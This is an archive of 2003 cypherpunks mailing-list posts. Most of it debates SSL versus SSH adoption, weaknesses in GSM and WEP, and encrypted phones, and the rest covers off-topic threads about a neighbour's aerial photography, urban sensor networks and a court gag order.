By contrast, learning cryptanalysis doesn't have this weakness -
if you can't crack somebody else's code, no problem,
(with obvious exceptions for people who need to learn cryptanalysis
quickly in wartime or whatever, or undertrained cryptanalysts who are
hired by people who are learning cryptography by making mistakes...)

>WEP for example is perfectly fine, unless
>you are attacked by a guy with a WEP cracking kit!
>Then it's a perfectly lousy cryptosubsystem.

Even ROT-13's not too bad unless somebody tries to crack it,
though some people who've spent way too much time with it
can just read the stuff by recognizing it as an alternate font :-)

Somebody else followed up by mentioning that, while GSM's
privacy encryption is cracked, their authentication encryption isn't,
and they aren't getting massively attacked.
I thought the state of the art at this point was that the
authentication is also crackable, but it's currently enough work that
nobody's or almost nobody's bothering, because governments can get what
they want by telling phone companies to give them the information,
and regular criminals can get the equivalent of cracking GSM authentication
by stealing mobile phones more easily than by hiring cryptanalysts,
and unlike satellite TV smartcard cracking, nobody's figured out any
potential market opportunities for widespread cracked GSM.




From kelsey.j at ix.netcom.com  Tue Jun  3 07:42:01 2003
From: kelsey.j at ix.netcom.com (John Kelsey)
Date: Tue, 03 Jun 2003 10:42:01 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDB5A82.5B9C1073@systemics.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
 <kjd6hxzc07.fsf@romeo.rtfm.com>
Message-ID: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>

At 10:09 AM 6/2/03 -0400, Ian Grigg wrote:
...
>  (One doesn't hear much about
>crypto phones these days.  Was this really a need?)

I think phones that encrypt the landline part of the call are pretty 
low-priority for most of us, since it costs something to eavesdrop on these 
calls.  But anything that goes over the air, whether cellphone or cordless 
phone, ought to be properly encrypted, and it isn't now.  This is a big 
vulnerability in a lot of places, and once you've built the intercept and 
decrypting hardware, it's easy to eavesdrop on huge numbers of people.  You 
can imagine either rogue cops and spies doing this, or private criminals.

I keep wondering how hard it would be to build a cordless phone system on 
top of 802.11b with some kind of decent encryption being used.  I'd really 
like to be able to move from a digital spread spectrum cordless phone 
(which probably has a 16-bit key for the spreading sequence or some such 
depressing thing) to a phone that can't be eavesdropped on without tapping 
the wire.

And for cellphones, I keep thinking we need a way to sell a secure 
cellphone service that doesn't involve trying to make huge changes to the 
infrastructure, which probably means a call center that handles all contact 
with the cellphone itself, always encrypted.  Something like this would 
allow me to buy a phone and sign a contract, and quickly get real security 
on all my digital calls going over the air.  End-to-end encryption isn't 
nearly as important.  There's no reason it couldn't be supported, of 
course, when both endpoints had the right kind of phone, but it's a small 
additional value.  The big win is to stop spewing private conversations 
over the radio in the clear.

>iang

--John Kelsey, kelsey.j at ix.netcom.com
PGP: FA48 3237 9AD5 30AC EEDD  BBC8 2A80 6948 4CAA F259



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From sunder at sunder.net  Tue Jun  3 08:00:07 2003
From: sunder at sunder.net (Sunder)
Date: Tue, 3 Jun 2003 11:00:07 -0400 (edt)
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
In-Reply-To: <CC5D0960-949F-11D7-88B5-000A956B4C74@got.net>
Message-ID: <Pine.BSO.4.21.0306031056440.12093-100000@anon7.arachelian.com>

That's all nice and good, but why should it be on cypherpunks?  Where's
the relevance to this list?  Why is Ken, or his addres or helipad an
interest to the cypherpunks?  Why is PG&E's monopolistic's actions against
him relevant to the topics of this list?

What's next?  The Cypherpunk Equirer?

IMHO, neither he, nor the Streisand creature have any relevance here -
there perhaps was some relevance in terms of that lawsuit the bitch
started, but, who gives a shit who your neighbors are?

Should I start spamming this list with details about my neighbors?


----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :25Kliters anthrax, 38K liters botulinum toxin, 500 tons of   /|\
  \|/  :sarin, mustard and VX gas, mobile bio-weapons labs, nukular /\|/\
<--*-->:weapons.. Reasons for war on Iraq - GWB 2003-01-28 speech.  \/|\/
  /|\  :Found to date: 0.  Cost of war: $800,000,000,000 USD.        \|/
 + v + :           The look on Sadam's face - priceless!       
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------

On Sun, 1 Jun 2003, Tim May wrote:

> Ken Adelman, the retired gazillionaire who has gained new fame as a  
> photographer of the California coastline, lives a couple of parcels  
> from me, perhaps half a kilometer.




From tim at dierks.org  Tue Jun  3 08:14:46 2003
From: tim at dierks.org (Tim Dierks)
Date: Tue, 03 Jun 2003 11:14:46 -0400
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306031311.h53DBpL25265@medusa01.cs.auckland.ac.nz>
Message-ID: <6.0.0.9.2.20030603110223.02883638@127.0.0.1>

At 09:11 AM 6/3/2003, Peter Gutmann wrote:
>"Lucky Green" <shamrock at cypherpunks.to> writes:
> >Given that SSL use is orders of magnitude higher than that of SSH, with no
> >change in sight, primarily due to SSL's ease-of-use, I am a bit puzzled by
> >your assertion that ssh, not SSL, is the "only really successful net crypto
> >system".
>
>I think the assertion was that SSH is used in places where it matters, while
>SSL is used where no-one really cares (or even knows) about it.  Joe Sixpack
>will trust any site with a padlock GIF on the page.  Most techies won't access
>a Unix box without SSH.  Quantity != quality.

I have my own opinion on what this assertion means. :-) I believe it 
intends to state that ssh is more successful because it is the only 
Internet crypto system which has captured a large share of its use base. 
This is probably true: I think the ratio of ssh to telnet is much higher 
than the ratio of https to http, pgp to unencrypted e-mail, or what have you.

However, I think SSL has been much more successful in general than SSH, if 
only because it's actually used as a transport layer building block rather 
than as a component of an application protocol. SSL is used for more 
Internet protocols than HTTP: it's the standardized way to secure POP, 
IMAP, SMTP, etc. It's also used by many databases and other application 
protocols. In addition, a large number of proprietary protocols and custom 
systems use SSL for security: I know that Certicom's SSL Plus product 
(which I originally wrote) is (or was) used to secure everything from 
submitting your taxes with TurboTax to slot machine jackpot notification 
protocols, to the tune of hundreds of customers. I'm sure that when you add 
in RSA's customers, those of other companies, and people using 
OpenSSL/SSLeay, you'll find that SSL is much more broadly used than ssh.

I'd guess that SSL is more broadly used, in a dollars-secured or 
data-secure metric, than any other Internet protocol. Most of these uses 
are not particularly visible to the consumer, or happen inside of 
enterprises. Of course, the big winners in the $-secured and data-secured 
categories are certainly systems inside of the financial industry and 
governmental systems.

  - Tim




From adam at homeport.org  Tue Jun  3 08:34:26 2003
From: adam at homeport.org (Adam Shostack)
Date: Tue, 3 Jun 2003 11:34:26 -0400
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
In-Reply-To: <Pine.BSO.4.21.0306031056440.12093-100000@anon7.arachelian.
  com>
References: <CC5D0960-949F-11D7-88B5-000A956B4C74@got.net>
  <Pine.BSO.4.21.0306031056440.12093-100000@anon7.arachelian.com>
Message-ID: <20030603153426.GA8182@lightship.internal.homeport.org>

On Tue, Jun 03, 2003 at 11:00:07AM -0400, Sunder wrote:
| That's all nice and good, but why should it be on cypherpunks?  Where's
| the relevance to this list?  Why is Ken, or his addres or helipad an
| interest to the cypherpunks?  Why is PG&E's monopolistic's actions against
| him relevant to the topics of this list?
| 
| What's next?  The Cypherpunk Equirer?

We can hope they return.

http://www.haven.boston.ma.us/~benji/wheels.html
http://cypherpunks.venona.com/date/1997/03/msg00102.html


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume




From iang at systemics.com  Tue Jun  3 08:38:50 2003
From: iang at systemics.com (Ian Grigg)
Date: Tue, 03 Jun 2003 11:38:50 -0400
Subject: Maybe It's Snake Oil All the Way Down
References: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
Message-ID: <3EDCC10A.4955CCB4@systemics.com>

Lucky Green wrote:
> 
> Ian Grigg wrote:
> > Also, a lot of cryptosystems are put together
> > by committees.  SSH was originally put together
> > by one guy.  He did the lot.  Allegedly, a fairly
> > grotty protocol with a number of weakneses, but
> > it was there and up and running.  And SSH-2 is
> > apparantly nice, elegant and easy to understand,
> > now that it has been fixed up.
> 
> ssh2 is in essence a re-invention of what SSL did without having to use
> X.509 keys. This reinvention was, IMHO, largely the result of the
> limitations of the ssh1 design.

OK.  Learning more every day :-)

> > (SSH is the only really successful net crypto
> > system, IMHO, in that it actually went into its
> > market and made a mark.  It's the only cryptosystem
> > that is as easy to use as its non-crypto competitor,
> > telnet.  It's the only one where people switch and
> > never return.)
> 
> I trust that we can agree that the volume of traffic and number of
> transactions protected by SSL are orders of magnitude higher than those
> protected by SSH. As is the number of users of SSL. The overwhelming
> majority of which wouldn't know ssh from telnet. Nor would they know
> what to do at a shell prompt and therefore have no use for either ssh or
> telnet.

Indeed!  Although I trust that we can also look at many
different ways of measuring success.

In order to *compare* success, like for like, we have
to start with an understanding of the marketplace for
each system, and assume that the marketplace for each
application is its universe.

I (arbitratrily) define the marketplace for SSL as
browsing.  (I.e., HTTP, as used between a browser
and a webserver.  The SSL protected part might be
referred to as HTTPS.  This of course ignores all
the other users of the protocol.)

There, we can show statistics that indicate that SSL
has penetrated to something slightly less than 1% of
servers.  It would of course be interesting to see
what the bandwidth figures are like, for example,
but I wouldn't be surprised if they are also less
than 1% (think about all those yahoo monsters that
overflow your POTS).

The fact that a user of SSL is neither aware nor
capable of being protected by SSH is irrelevant,
neither is a sysadmin concerned in his job with
protecting his work with SSL.

(Actually that's not true;  there was an SSL terminal
system for a while, as an adjunct to SSLeay, but
that is a dead or dying protocol, rapidly replaced
by SSH whenever the two entered competition.  Which
is a good thing, the SSL terminal was a nightmare
to get going, due to its insistance on hand crafting
certificates.).

> Given that SSL use is orders of magnitude higher than that of SSH, with
> no change in sight, primarily due to SSL's ease-of-use, I am a bit
> puzzled by your assertion that ssh, not SSL, is the "only really
> successful net crypto system".

SSL's 1% penetration into the browsing market doesn't
strike me as successful.

If I was "selling SSL" as a business, I'd be looking
at the other 99% and wondering why it's just sitting
there, not being sold.  As there are big expensive
companies doing just that;  then I guess they have
tried.

Have a look at the penetration reports on
http://www.securityspace.com/

On the other hand, SSH, as a cryptosystem, as an
application (think: replacement for telnet, not as
competitor to the SSL protocol) penetrates its market
very well.  I have no more than anecdotal evidence
for that, but any sysadmin knows that once they
started using SSH, they would never go back to the
alternate unless forced, kicking and screaming.

It would be very interesting to find out what SSH
v. telnet traffic looks like.

That's what I mean by success.  Within its market
place, SSH rules.

-- 
iang

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From bill.stewart at pobox.com  Tue Jun  3 11:48:31 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 03 Jun 2003 11:48:31 -0700
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
In-Reply-To: <Pine.BSO.4.21.0306031056440.12093-100000@anon7.arachelian.
  com>
References: <CC5D0960-949F-11D7-88B5-000A956B4C74@got.net>
Message-ID: <5.1.1.6.2.20030603114006.02e05e10@idiom.com>

At 11:00 AM 06/03/2003 -0400, Sunder wrote:
>That's all nice and good, but why should it be on cypherpunks?  Where's
>the relevance to this list?  Why is Ken, or his addres or helipad an
>interest to the cypherpunks?  Why is PG&E's monopolistic's actions against
>him relevant to the topics of this list?
>
>What's next?  The Cypherpunk Equirer?

Well sure - because not all the Black Helicopters flying over Tim's house
have belonged to Feds/UN/etc. - one of them's probably been Ken's :-)
I've also found Tim's comments on Pynchon living nearby interesting.

>IMHO, neither he, nor the Streisand creature have any relevance here -
>there perhaps was some relevance in terms of that lawsuit the bitch
>started, but, who gives a shit who your neighbors are?

I'd say issues of putting aerial photography on the internet and
how that changes the status of previously "secret" information
are pretty close to our core issues - they're not directly cryptography,
but neither are the "guns, lots of guns" discussions.

I don't know if Hugh ever pulled off the "export RSA by standing in
a bar-code when the Russian 1-meter-resolution spy satellites fly over"...




From frantz at pwpconsult.com  Tue Jun  3 12:48:37 2003
From: frantz at pwpconsult.com (Bill Frantz)
Date: Tue, 3 Jun 2003 12:48:37 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
References: <3EDB5A82.5B9C1073@systemics.com>
 <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com>
 <kjd6hxzc07.fsf@romeo.rtfm.com>
Message-ID: <v03110727bb02a59e7e62@[192.168.1.5]>

At 7:42 AM -0700 6/3/03, John Kelsey wrote:
>I keep wondering how hard it would be to build a cordless phone system on
>top of 802.11b with some kind of decent encryption being used.  I'd really
>like to be able to move from a digital spread spectrum cordless phone
>(which probably has a 16-bit key for the spreading sequence or some such
>depressing thing) to a phone that can't be eavesdropped on without tapping
>the wire.

<rant>

I've spent some time recently looking at Voice over IP (VoIP)
implementations.  My immediate reaction to reading the standards is that
they a complete answer to a telephone company executive's wet dreams.
Conferencing, Automatic call forwarding, Billing etc. etc., they're all
covered.  The result is a protocol that is beyond baroque and well into
rococo.  I think the various standards bodies are still trying to deal with
issues in the protocols that weren't thought of from the start.

Of course, once you have your call set up, you have to encrypt it.  Most of
the VoIP implementations use Real Time Streaming Protocol (RTSP, RFC2326),
which requires two UDP ports through your firewall.  Then you have to
encrypt the RTSP traffic.  I have seen reference to an encryption protocol
specifically for RTSP, but a quick scan of STD1 didn't turn it up, so it is
probably still a draft.  I don't know anything about its security.

The other choice is IPSec.  IPSec seems happiest securing traffic between
machines with permanent IP addresses.  It is a nightmare to use with
Network Address Translation.

What would be really nice would be a VoIP system that used TCP instead of
UDP.  (I know that if TCP goes into error recovery, there is going to be
major jitter in the voice.  I know it will be hard to support conferencing.
I know it will not gracefully bridge to the POTS network.  Etc. I'm willing
to put up with that to avoid the pain that comes with UDP.)  Then I can
just tunnel it through SSH, or hack it to use SSL/TLS.  Oh well.

</rant>

Cheers - Bill


-------------------------------------------------------------------------
Bill Frantz           | Due process for all    | Periwinkle -- Consulting
(408)356-8506         | used to be the         | 16345 Englewood Ave.
frantz at pwpconsult.com | American way.          | Los Gatos, CA 95032, USA



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From mv at cdc.gov  Tue Jun  3 13:05:53 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Tue, 03 Jun 2003 13:05:53 -0700
Subject: [ChemBrin] Tracking NYC farts
Message-ID: <3EDCFFA0.C8579C9@cdc.gov>

[And in a few years, the sensors will be augmented with tobacco, pot,
maybe programmable
DNA-scurf detectors.]

http://www.nydailynews.com/front/story/89128p-81072c.html
Federal scientists will soon blanket the heart of midtown and the West
Village with high-tech sensors designed to track biological, chemical
and radiological agents in the event of a terrorist attack.

 The security project is a first step toward creating a vast network of
sensors that can predict how the fallout from a weapon of mass
destruction might spread through the city.

 "We would like to work out what areas would be dangerous and, more
importantly, what areas would be safe," said Bruce Hicks, director of
the Air Resources Laboratory of the National Oceanic and Atmospheric
Administration.

 The research is considered crucial because mathematical and computer
models that forecast the airborne paths of toxins were designed for
rural areas, not cities.

 "Right now, the models that we have are not set up for dense urban
areas with the canyons and the complexities that exist in New York,"
said Dr. Ralph James, director of the Energy, Environment and National
Security unit at Brookhaven National Laboratory on Long Island.

 Five sensors already have been placed as part of the project, called
the Urban Atmospheric Observatory.

 The instruments, attached to a federal building near Varick and W.
Houston Sts., measure wind direction, velocity and turbulence.

 Scores of similar sensors, as well as radiation detectors, are expected
to be placed this year around midtown and the West Village - considered
potential terrorist targets.

Tracing gases

 "Anywhere we can hang an instrument, we are going to try to get one out
there," said Michael Reynolds, a research scientist at the Brookhaven
labs, part of the Energy Department.

 This summer, federal scientists plan to release benign gases in
Manhattan and use the sensors to track them.

 "That way, we can really get an idea of how well the models work,"
Reynolds said.

 A similar program, called DCNet, is underway in Washington, where 13
sensors have been placed near sensitive sites, including the White
House.

 New York is seeking up to $10 million from the Homeland Security
Department to expand its network.

 Reynolds said it would cost about $30 million to $40 million a year to
fully implement the sensors in New York.




From mv at cdc.gov  Tue Jun  3 13:06:29 2003
From: mv at cdc.gov (Major Variola (ret))
Date: Tue, 03 Jun 2003 13:06:29 -0700
Subject: Censorship, link prohibition
Message-ID: <3EDCFFC5.F2CB0034@cdc.gov>

(from politech, with additions)

The New York Times article is here:
http://www.nytimes.com/2003/06/02/national/02INTE.html

Excerpt:
>Judge Lewis ruled on May 6, before Mr. Max was notified of the suit and

>without holding a hearing. She told Mr. Max that he could not use
"Katy"
>on his site. Nor could he use Ms. Johnson's last name, full name or the

>words "Miss Vermont."
>The judge also prohibited Mr. Max from "disclosing any stories, facts
or
>information, notwithstanding its truth, about any intimate or sexual
acts
>engaged in by" Ms. Johnson. That prohibition is not limited to his Web
>site. Finally, Judge Lewis ordered Mr. Max to sever the virtual remains
of
>his relationship with Ms. Johnson. He is no longer allowed to link to
her
>Web site.
>The page of Mr. Max's site that used to contain his rambling memoir now

>has only a reference to the court order.

The Max story is mirrored here:
   http://www.cs.cmu.edu/~dst/Katy-Johnson

(The preamble here, authored by the mirrorer, is an excellent read.
As he says: "Ms.Johnson has not thus far sued him for libel, only for
revealing
"embarassing private facts". Ms. Johnson is indisputably a public figure
who holds herself out as a moral
example, so the legal standard for proving either libel or invasion of
privacy would be quite high.")

.............


Katy Johnson
                    Katy Johnson was Miss Vermont in 1999 and 2001. She
has a relatively sucessful website
                    (http://www.katyjohnson.com) promoting abstinence
until marriage and general sexual purity.
                    Tucker Max wrote a story about all of the nasty
sexual things she did to him and posted it on his
                    website (http://www.tuckermax.com). Johnson sued
Max. As a result, Max is receiving the huge
                    amount of publicity he desired. His picture was on
the front page of the 7 May 2003 Chicago
                    Sun-Times. Meanwhile, Johnson's image has been
widely tarnished because of the publicity
                    drawn by her suit. Gun. Foot. Bang!
http://www.munsoned.com/people/list.cfm?person=125

There's a flashless site at http://www.pageantcity.com/signon.html
where you can ask her a question.  We have, viz. what she thinks Monica
was
talking about:
     I think people have not quite gotten their hands around the
speed at which information can be disseminated online.
-Monica Lewinsky, LATimes 9 may 01




From eb at comsec.com  Tue Jun  3 13:25:50 2003
From: eb at comsec.com (Eric Blossom)
Date: Tue, 3 Jun 2003 13:25:50 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
References: <A4628A7C27BF0D48847FD4AB8536731D1D0B59@blinky.mobile-mind.com> <kjd6hxzc07.fsf@romeo.rtfm.com> <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
Message-ID: <20030603202550.GB19610@comsec.com>

On Tue, Jun 03, 2003 at 10:42:01AM -0400, John Kelsey wrote:
> At 10:09 AM 6/2/03 -0400, Ian Grigg wrote:
> ...
> > (One doesn't hear much about
> >crypto phones these days.  Was this really a need?)

Yes, I believe there is a need.

In my view, there are two factors in the way of wide spread adoption:
cost and ease of use.

Having spent many years messing with these things, I've come to the
conclusion that what I personally want is a cell phone that implements
good end-to-end crypto.  This way, I've always got my secure
communication device with me, there's no "bag on the side", and it can
be made almost completely transparent.

> And for cellphones, I keep thinking we need a way to sell a secure 
> cellphone service that doesn't involve trying to make huge changes to the 
> infrastructure, ...

Agreed.  Given a suitably powerful enough Java or whatever equipped
cell phone / pda and an API that provides access to a data pipe and
the speaker and mic, you can do this without any cooperation from the
folks in the middle.  I think that this platform will be common within
a couple of years.  The Xscale / StrongARM platform certainly has
enough mips to handle both the vocoding and the crypto.

Also on the horizon are advances in software radio that will enable
the creation of ad hoc self organizing networks with no centralized
control.  There is a diverse collection of people supporting this
revolution in wireless communications.  They range from technologists,
to economists, lawyers, and policy wonks.  For background on spectrum
policy issues see http://www.reed.com/openspectrum,
http://cyberlaw.stanford.edu/spectrum or http://www.law.nyu.edu/benklery

Free software for building software radios can be found at the 
GNU Radio web site http://www.gnu.org/software/gnuradio

Eric

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From eb at comsec.com  Tue Jun  3 13:25:50 2003
From: eb at comsec.com (Eric Blossom)
Date: Tue, 3 Jun 2003 13:25:50 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <5.2.0.9.0.20030603103241.0455a6a0@pop.ix.netcom.com>
Message-ID: <mailman.731.1576007632.31620.cypherpunks-legacy@lists.cpunks.org>

On Tue, Jun 03, 2003 at 10:42:01AM -0400, John Kelsey wrote:
> At 10:09 AM 6/2/03 -0400, Ian Grigg wrote:
> ...
> > (One doesn't hear much about
> >crypto phones these days.  Was this really a need?)

Yes, I believe there is a need.

In my view, there are two factors in the way of wide spread adoption:
cost and ease of use.

Having spent many years messing with these things, I've come to the
conclusion that what I personally want is a cell phone that implements
good end-to-end crypto.  This way, I've always got my secure
communication device with me, there's no "bag on the side", and it can
be made almost completely transparent.

> And for cellphones, I keep thinking we need a way to sell a secure 
> cellphone service that doesn't involve trying to make huge changes to the 
> infrastructure, ...

Agreed.  Given a suitably powerful enough Java or whatever equipped
cell phone / pda and an API that provides access to a data pipe and
the speaker and mic, you can do this without any cooperation from the
folks in the middle.  I think that this platform will be common within
a couple of years.  The Xscale / StrongARM platform certainly has
enough mips to handle both the vocoding and the crypto.

Also on the horizon are advances in software radio that will enable
the creation of ad hoc self organizing networks with no centralized
control.  There is a diverse collection of people supporting this
revolution in wireless communications.  They range from technologists,
to economists, lawyers, and policy wonks.  For background on spectrum
policy issues see http://www.reed.com/openspectrum,
http://cyberlaw.stanford.edu/spectrum or http://www.law.nyu.edu/benklery

Free software for building software radios can be found at the 
GNU Radio web site http://www.gnu.org/software/gnuradio

Eric

----- End forwarded message -----




From timcmay at got.net  Tue Jun  3 13:53:44 2003
From: timcmay at got.net (Tim May)
Date: Tue, 3 Jun 2003 13:53:44 -0700
Subject: The Streisand imagecriminal lives 2-3 parcels away from me
In-Reply-To: <5.1.1.6.2.20030603114006.02e05e10@idiom.com>
Message-ID: <76DB94B0-9605-11D7-88B5-000A956B4C74@got.net>

On Tuesday, June 3, 2003, at 11:48  AM, Bill Stewart wrote:

> At 11:00 AM 06/03/2003 -0400, Sunder wrote:
>> That's all nice and good, but why should it be on cypherpunks?  
>> Where's
>> the relevance to this list?  Why is Ken, or his addres or helipad an
>> interest to the cypherpunks?  Why is PG&E's monopolistic's actions 
>> against
>> him relevant to the topics of this list?
>>
>> What's next?  The Cypherpunk Equirer?
>
> Well sure - because not all the Black Helicopters flying over Tim's 
> house
> have belonged to Feds/UN/etc. - one of them's probably been Ken's :-)
> I've also found Tim's comments on Pynchon living nearby interesting.
>
>> IMHO, neither he, nor the Streisand creature have any relevance here -
>> there perhaps was some relevance in terms of that lawsuit the bitch
>> started, but, who gives a shit who your neighbors are?
>
> I'd say issues of putting aerial photography on the internet and
> how that changes the status of previously "secret" information
> are pretty close to our core issues - they're not directly 
> cryptography,
> but neither are the "guns, lots of guns" discussions.

And neither are the 15th or 23rd essentially duplicative discussions of 
PGP or Mondex or SSL or crypto exports very interesting or useful.

I have no idea who pissed in Sunder's Wheaties, but he is of course 
free to skip any articles and concentrate on the ones that interest 
him. Volume on the list is now a fraction of what it once was...and yet 
still much repetitiousness dominates. Sunder could consider subscribing 
to a "Best of" list...wait, doesn't he _run_ one? Problem solved.

I was not the one who brought up the Streisand sut...that was a posting 
by Major Variola on Friday. I thought it was pretty interesting that 
the aerial photographer is a neighbor of mine. This is, after all, not 
the same as listing neighbors who have not been mentioned...this is 
more akin to there being some talked-about crime case here and having 
John Young or Declan say "That guy is my neighbor across the way." 
Interesting to know where people live, with even less techno/privacy 
relevance (such as hearing that Gary Condit lived near where Declan 
lives).

Added to the fact that I see his helicopters circling low over my 
property (which explains some of the close encounters of the chopper 
kind in recent years), and the privacy/Brinworld implications 
(mentioned by M. Variola), and the sheer coincidence that I had just 
returned from my first flying lesson, I felt the need to post.

Also, about 50-60 people were at the meeting/party at my house last 
September, so they have some (perhaps slight) awareness of which hills 
and nearby areas I'm mentioning.

Sunder should put me in his killfile for a while...I am doing that for 
his posts, for a while.

By the way, the Adelman situation also has a few other interesting 
tidbits. The company Adelman and his partner formed was called "TGV." 
Located in Santa Cruz, the names suggested _speed_, as in the French 
train of the same name. Lore has it that the real origin was "Two Guys 
and a Vax.

Adelman also founded Network Alchemy.

TGV was sold at the peak of the Internet boom to Cisco and Network 
Alchemy was sold to Nokia. Adelman cleared at least a few hundred 
million dollars.


--Tim May
"He who fights with monsters might take care lest he thereby become a 
monster. And if you gaze for long into an abyss, the abyss gazes also 
into you." -- Nietzsche




From lynn at garlic.com  Tue Jun  3 13:46:27 2003
From: lynn at garlic.com (Anne & Lynn Wheeler)
Date: Tue, 03 Jun 2003 14:46:27 -0600
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <200306031304.h53D4dl25250@medusa01.cs.auckland.ac.nz>
Message-ID: <4.2.2.20030603143759.00c5c280@mail.earthlink.net>

On Tue, 2003-06-03 at 07:04, Peter Gutmann wrote:
 > That's a red herring.  It happens to use X.509 as its preferred bit-bagging
 > format for public keys, but that's about it.  People use self-signed certs,
 > certs from unknown CAs [0], etc etc, and you don't need certs at all if you
 > don't need them, <blatant self-promotion>I've just done an RFC draft 
that uses
 > shared secret keys for mutual authentication of client and server, with no
 > need for certificates of any kind</blatant self-promotion>, so the use of
 > certs, and in particular a hierarchical PKI, is merely an optional extra.
 > It's no more required in SSL than it is in SSHv2.

the pk-init draft for kerberos allows public keys .... allowing both
cert & cert-less implementation

<blatant aads-promotion>
the scenario allows for public key registration in lieu of shared secret
registration. the scenario is that r/o access, divulging, sniffing, etc
doesn't result in compromise.

in the token form ....
http://www.garlic.com/~lynn/index.html#aadsstraw
http://www.asuretee.com/

the key-pair is gen'ed in the chip and never leaves the chip.

as part of 3-factor authentication
* something you have
* something you know
* something you are

the chip in the token purely provides "something you have"
authentication ... and the digital signature done by the token is purely
to prove  that you have that particular token. It doesn't prove who you
are, it just proves that you have a specific (extremely difficult to
counterfeit) token as part of "something you have" authentication.

if the token is augmented with a pin/password for its correct operation,
then there can be 2-factor authentication. It doesn't involved
shared-secrets since the pin/password is purely between the person and
the hardware token.

The business process validates that the token is of the type requiring
PIN and/or biometric for
correct operation.

The ecdsa digital signature authentication protocol for kerberos,
radius, x9.59 for all retail financial transactions, or ssh can be
identical regardless of the integrity level.

The ecdsa digital signature authentication protocol can be ubiquitous
regardless of the authentication integrity level required.

The business process to meet integrity requirements then can require
sofware key-pair or hardware token key-pair, the level of integrity of
the hardware token, and/or the operational characteristics of the
hardware token (no-pin, pin, biometrics, etc) w/o changing the protocol.

If the protocol is independent of the business process integrity issue
then either the business and/or the end-user may be able to having
personal choice about the level of integrity required. Furthermore, the
person might even have personal choice whether they need a unique token
per security environment, a single token for all security environment,
and/or a small number of tokens selectively applied to different
security environments

the digital signature has nothing at all to do directly with the person,
it is purely related to demonstrating the possession of the token (as
part of something you have authentication) and possibly the integrity
level of the token.

The issue of the authentication protocol  is getting the bits and bytes for
transmission correct but doesn't normally say what it means ... i.e. secret,
shared-secret, one factor authentication, two-factor authentication,
something you have authentication, something you know authentication,
etc. ... although frequently the protocol is envisioned to be a specific
implementation of a specific kind of authentication and trust/integrity level.

recent token discussions
http://www.garlic.com/~lynn/2003i.html#1 Two-factor authentication with SSH?
http://www.garlic.com/~lynn/2003i.html#2 Two-factor authentication with SSH?
http://www.garlic.com/~lynn/2003i.html#35 electronic-ID and key-generation
http://www.garlic.com/~lynn/2003i.html#36 electronic-ID and key-generation
older token discussions
http://www.garlic.com/~lynn/aadsm10.htm#bio6 biometrics
http://www.garlic.com/~lynn/aadsm10.htm#keygen2 Welome to the Internet, 
here's your private key
http://www.garlic.com/~lynn/aadsm11.htm#5 Meaning of Non-repudiation
http://www.garlic.com/~lynn/aadsm12.htm#24 Interests of online banks and 
their users [was Re: Cryptogram:  Palladium Only for DRM]
http://www.garlic.com/~lynn/aadsm7.htm#rhose12 when a fraud is a sale, Re: 
Rubber hose attack
http://www.garlic.com/~lynn/aepay10.htm#65 eBay Customers Targetted by 
Credit Card Scam
http://www.garlic.com/~lynn/2000f.html#65 Cryptogram Newsletter is off the 
wall?
http://www.garlic.com/~lynn/2001c.html#39 PKI and Non-repudiation 
practicalities
http://www.garlic.com/~lynn/2001g.html#1 distributed authentication
http://www.garlic.com/~lynn/2001g.html#11 FREE X.509 Certificates
http://www.garlic.com/~lynn/2001j.html#52 Are client certificates really 
secure?
http://www.garlic.com/~lynn/2001k.html#61 I-net banking security
http://www.garlic.com/~lynn/2002c.html#7 Opinion on smartcard security 
requested
http://www.garlic.com/~lynn/2002e.html#18 Opinion  on smartcard security 
requested
http://www.garlic.com/~lynn/2002e.html#36 Crypting with Fingerprints ?
http://www.garlic.com/~lynn/2002h.html#41 Biometric authentication for 
intranet websites?
http://www.garlic.com/~lynn/2002i.html#65 privileged IDs and non-privileged IDs
http://www.garlic.com/~lynn/2002n.html#30 Help! Good protocol for national 
ID card?
http://www.garlic.com/~lynn/2002o.html#57 Certificate Authority: Industry 
vs. Government

</blatent aads promotion>
--
Anne & Lynn Wheeler    http://www.garlic.com/~lynn/
Internet trivia 20th anv http://www.garlic.com/~lynn/rfcietff.htm
   
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From bill.stewart at pobox.com  Tue Jun  3 15:01:51 2003
From: bill.stewart at pobox.com (Bill Stewart)
Date: Tue, 03 Jun 2003 15:01:51 -0700
Subject: Maybe It's Snake Oil All the Way Down
In-Reply-To: <3EDCC10A.4955CCB4@systemics.com>
References: <000101c3298e$cf6edd30$6401a8c0@VAIO650>
Message-ID: <5.1.1.6.2.20030603115519.02ebd0f0@idiom.com>

At 11:38 AM 06/03/2003 -0400, Ian Grigg wrote:
>I (arbitratrily) define the marketplace for SSL as browsing.
...
>There, we can show statistics that indicate that SSL
>has penetrated to something slightly less than 1% of servers.

For transmitting credit card numbers on web forms,
I'd be surprised if there were 1% of the servers that *don't* use SSL/TLS.

Virtually all deployed browsers support SSL, except a few
special-purpose versions.  The web servers supporting
almost all of the web support SSL if they have keys installed.
While many of them haven't bothered paying money for certified keys
or doing self-signed keys, I'd be surprised if it's really
as low as 1%.  What's your source for that figure?

While only a small fraction of web pages, and a much smaller
fraction of web bits transmitted, use SSL, that's appropriate,
because most web pages are material the publisher wants the public to see,
so eavesdropping isn't particularly part of the threat model,
and even integrity protection is seldom a realistic worry.
